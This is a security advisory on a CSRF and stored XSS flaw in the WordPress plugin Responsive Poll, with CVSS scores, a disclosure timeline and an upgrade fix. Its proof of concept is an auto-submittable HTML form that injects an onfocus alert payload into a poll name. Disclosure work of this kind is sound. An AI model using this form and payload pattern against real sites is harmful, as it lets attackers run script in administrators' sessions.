Advisory:

CSRF/XSS in Responsive Poll allows unauthenticated attackers to do almost anything an admin can

Vulnerability

Last revised:

This plugin lacks CSRF checks when updating polls meaning an unauthenticated attacker can cause anything to be modified in a poll. The plugin also fails to escape values put into HTML. The combination of these two means that an unauthenticated attacker can put arbitrary JavaScript into a page in /wp-admin/.

Current state: Reported

CVSS Summary

CVSS base scores for this vulnerability
Score 5.8 Medium
Vector Network
Complexity Medium
Authentication None
Confidentiality Partial
Integrity Partial
Availability None
You can read more about CVSS base scores on Wikipedia or in the CVSS specification.

Proof of concept

Create a poll. We assume that the ID of this poll will be 1.

Visit the following page and click submit (in a real attack the form can be submitted without user interaction):

<form method="POST" action="http://localhost/wp-admin/admin-ajax.php">
<input type="text" name="poll_id" value="1">
<input type="text" name="action" value="update_poll">
<input type="text" name="name" value="&quot; onfocus=&quot;alert(1)">
<input type="submit">
</form>

Then visit http://localhost/wp-admin/admin.php?page=polls&action=edit&edit_poll=1 and focus the Question field (either via clicking on it or tabbing to it).

Advisory timeline

  • 2015-09-15: Discovered
  • 2016-12-07: Reported to vendor via https://codecanyon.net/user/weblator
  • 2016-12-07: Requested CVE
  • 2016-12-15: Vendor first replied
  • 2017-01-10: It’s been over 30 days and the vendor has not reported the bug fixed or indicated when they expect it to be fixed
  • 2017-01-10: Advisory published
  • 2017-01-19: Vendor reported issue fixed in version 1.7.6
  • 2017-09-29: Requested CVE

Mitigation/further actions

Upgrade to version 1.7.6 or later.